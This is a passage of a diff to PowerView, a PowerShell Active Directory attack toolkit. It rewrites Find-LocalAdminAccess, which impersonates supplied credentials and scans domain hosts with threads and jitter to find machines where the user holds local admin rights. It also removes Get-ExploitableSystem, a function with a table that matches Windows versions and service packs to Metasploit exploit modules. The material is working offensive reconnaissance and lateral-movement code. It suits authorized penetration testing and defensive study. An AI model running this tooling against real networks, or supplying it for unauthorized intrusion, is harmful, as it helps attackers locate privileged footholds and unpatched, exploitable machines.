filter name to query AD for, wildcards accepted. +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - .PARAMETER ComputerADSpath +.PARAMETER ComputerOperatingSystem - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Search computers with a specific operating system, wildcards accepted. - .PARAMETER NoPing +.PARAMETER ComputerServicePack - Switch. Don't ping each host to ensure it's up before enumerating. +Search computers with a specific service pack, wildcards accepted. - .PARAMETER Delay +.PARAMETER ComputerSiteName - Delay between enumerating hosts, defaults to 0 +Search computers in the specific AD Site name, wildcards accepted. - .PARAMETER Jitter +.PARAMETER CheckShareAccess - Jitter for the host delay, defaults to +/- 0.3 +Switch. Only display found shares that the local user has access to. - .PARAMETER Domain +.PARAMETER Server - Domain to query for machines, defaults to the current domain. - - .PARAMETER DomainController +Specifies an Active Directory server (domain controller) to bind to. - Domain controller to reflect LDAP queries through. +.PARAMETER SearchScope - .PARAMETER SearchForest +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - Switch. Search all domains in the forest for target users instead of just - a single domain. +.PARAMETER ResultPageSize - .PARAMETER Threads +Specifies the PageSize to set for the LDAP searcher object. - The maximum concurrent threads to execute. +.PARAMETER ServerTimeLimit - .EXAMPLE +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - PS C:\> Find-LocalAdminAccess +.PARAMETER Tombstone - Find machines on the local domain where the current user has local - administrator access. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .EXAMPLE +.PARAMETER Credential - PS C:\> Find-LocalAdminAccess -Threads 10 +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded. +.PARAMETER Delay - .EXAMPLE +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - PS C:\> Find-LocalAdminAccess -Domain testing +.PARAMETER Jitter - Find machines on the 'testing' domain where the current user has - local administrator access. +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - .EXAMPLE +.PARAMETER Threads - PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt +The number of threads to use for user searching, defaults to 20. - Find which machines in the host list the current user has local - administrator access. +.EXAMPLE - .LINK +Find-LocalAdminAccess - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/ +Finds machines in the current domain the current user has admin access to. + +.EXAMPLE + +Find-LocalAdminAccess -Domain dev.testlab.local + +Finds machines in the dev.testlab.local domain the current user has admin access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-LocalAdminAccess -Domain testlab.local -Credential $Cred + +Finds machines in the testlab.local domain that the user with the specified -Credential +has admin access to. + +.OUTPUTS + +String + +Computer dnshostnames the current user has administrative access to. #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [ValidateNotNullOrEmpty()] [String] - $ComputerFile, + $ComputerDomain, + [ValidateNotNullOrEmpty()] [String] - $ComputerFilter, + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $ComputerADSpath, - - [Switch] - $NoPing, + $ComputerSearchBase, - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] [String] - $Domain, + $ComputerServicePack, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] [String] - $DomainController, + $ComputerSiteName, [Switch] - $SearchForest, + $CheckShareAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [ValidateRange(1,100)] + [ValidateRange(1, 10000)] [Int] - $Threads - ) + $ResultPageSize = 200, - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - # random object for delay - $RandNo = New-Object System.Random + [Switch] + $Tombstone, - Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay" + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, - if(!$ComputerName) { - [array]$ComputerName = @() + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-LocalAdminAccess] No hosts found to enumerate' } - # script block that enumerates a server + # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { - param($ComputerName, $Ping) + Param($ComputerName, $TokenHandle) - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } - if($Up) { - # check if the current user has local admin access to this server - $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName - if ($Access.IsAdmin) { - $ComputerName + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # check if the current user has local admin access to this server + $Access = Test-AdminAccess -ComputerName $TargetComputer + if ($Access.IsAdmin) { + $TargetComputer + } } } - } - - } - - process { - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) + if ($TokenHandle) { + Invoke-RevertToSelf } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" - $Counter = 0 + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - ForEach ($Computer in $ComputerName) { + Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False + Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken + } + } + else { + Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TokenHandle' = $LogonToken } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } -function Get-ExploitableSystem { +function Find-DomainLocalGroupMember { <# - .Synopsis - - This module will query Active Directory for the hostname, OS version, and service pack level - for each computer account. That information is then cross-referenced against a list of common - Metasploit exploits that can be used during penetration testing. - - .DESCRIPTION - - This module will query Active Directory for the hostname, OS version, and service pack level - for each computer account. That information is then cross-referenced against a list of common - Metasploit exploits that can be used during penetration testing. The script filters out disabled - domain computers and provides the computer's last logon time to help determine if it's been - decommissioned. Also, since the script uses data tables to output affected systems the results - can be easily piped to other commands such as test-connection or a Export-Csv. - - .PARAMETER ComputerName - - Return computers with a specific name, wildcards accepted. - - .PARAMETER SPN - - Return computers with a specific service principal name, wildcards accepted. - - .PARAMETER OperatingSystem - - Return computers with a specific operating system, wildcards accepted. - - .PARAMETER ServicePack - - Return computers with a specific service pack, wildcards accepted. - - .PARAMETER Filter - - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER Ping - - Switch. Ping each host to ensure it's up before enumerating. - - .PARAMETER Domain - - The domain to query for computers, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. +.SYNOPSIS - .PARAMETER ADSpath +Enumerates the members of specified local group (default administrators) +for all the targeted machines on the current (or specified) domain. - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction - .PARAMETER Unconstrained +.DESCRIPTION - Switch. Return computer objects that have unconstrained delegation. +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the members of the specified local +group (default of Administrators) for each machine using Get-NetLocalGroupMember. +By default, the API method is used, but this can be modified with '-Method winnt' +to use the WinNT service provider. - .PARAMETER PageSize +.PARAMETER ComputerName - The PageSize to set for the LDAP searcher object. +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. - .PARAMETER Credential +.PARAMETER ComputerDomain - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Specifies the domain to query for computers, defaults to the current domain. - .EXAMPLE - - The example below shows the standard command usage. Disabled system are excluded by default, but - the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't - logged on for two or more weeks it's been decommissioned. - PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize - [*] Grabbing computer accounts from Active Directory... - [*] Loading exploit list for critical missing patches... - [*] Checking computers for vulnerable OS and SP levels... - [+] Found 5 potentially vulnerable systems! - ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE - ------------ --------------- ----------- --------- --------- --- - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... +.PARAMETER ComputerLDAPFilter - .EXAMPLE +Specifies an LDAP query string that is used to search for computer objects. - PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation +.PARAMETER ComputerSearchBase - How to write the output to a csv file. - - .EXAMPLE - - PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping - - Return a set of live hosts from the testlab.local domain - - .LINK - - http://www.netspi.com - https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1 - - .NOTES - - Author: Scott Sutherland - 2015, NetSPI - Modifications to integrate into PowerView by @harmj0y - Version: Get-ExploitableSystem.psm1 v1.1 - Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" - function found in Carols Perez's PoshSec-Mod project. The general idea is based off of - Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit. -#> - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [String] - $ComputerName = '*', - - [String] - $SPN, - - [String] - $OperatingSystem = '*', - - [String] - $ServicePack = '*', - - [String] - $Filter, - - [Switch] - $Ping, - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [Switch] - $Unconstrained, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - Write-Verbose "[*] Grabbing computer accounts from Active Directory..." - - # Create data table for hostnames, os, and service packs from LDAP - $TableAdsComputers = New-Object System.Data.DataTable - $Null = $TableAdsComputers.Columns.Add('Hostname') - $Null = $TableAdsComputers.Columns.Add('OperatingSystem') - $Null = $TableAdsComputers.Columns.Add('ServicePack') - $Null = $TableAdsComputers.Columns.Add('LastLogon') - - Get-NetComputer -FullData @PSBoundParameters | ForEach-Object { - - $CurrentHost = $_.dnshostname - $CurrentOs = $_.operatingsystem - $CurrentSp = $_.operatingsystemservicepack - $CurrentLast = $_.lastlogon - $CurrentUac = $_.useraccountcontrol - - $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2) - - # Check the 2nd to last value to determine if its disabled - $DisableOffset = $CurrentUacBin.Length - 2 - $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) - - # Add computer to list if it's enabled - if ($CurrentDisabled -eq 0) { - # Add domain computer to data table - $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) - } - } - - # Status user - Write-Verbose "[*] Loading exploit list for critical missing patches..." - - # ---------------------------------------------------------------- - # Setup data table for list of msf exploits - # ---------------------------------------------------------------- - - # Create data table for list of patches levels with a MSF exploit - $TableExploits = New-Object System.Data.DataTable - $Null = $TableExploits.Columns.Add('OperatingSystem') - $Null = $TableExploits.Columns.Add('ServicePack') - $Null = $TableExploits.Columns.Add('MsfModule') - $Null = $TableExploits.Columns.Add('CVE') - - # Add exploits to data table - $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") - $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") - $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") - $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") - $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") - - # Status user - Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..." - - # ---------------------------------------------------------------- - # Setup data table to store vulnerable systems - # ---------------------------------------------------------------- - - # Create data table to house vulnerable server list - $TableVulnComputers = New-Object System.Data.DataTable - $Null = 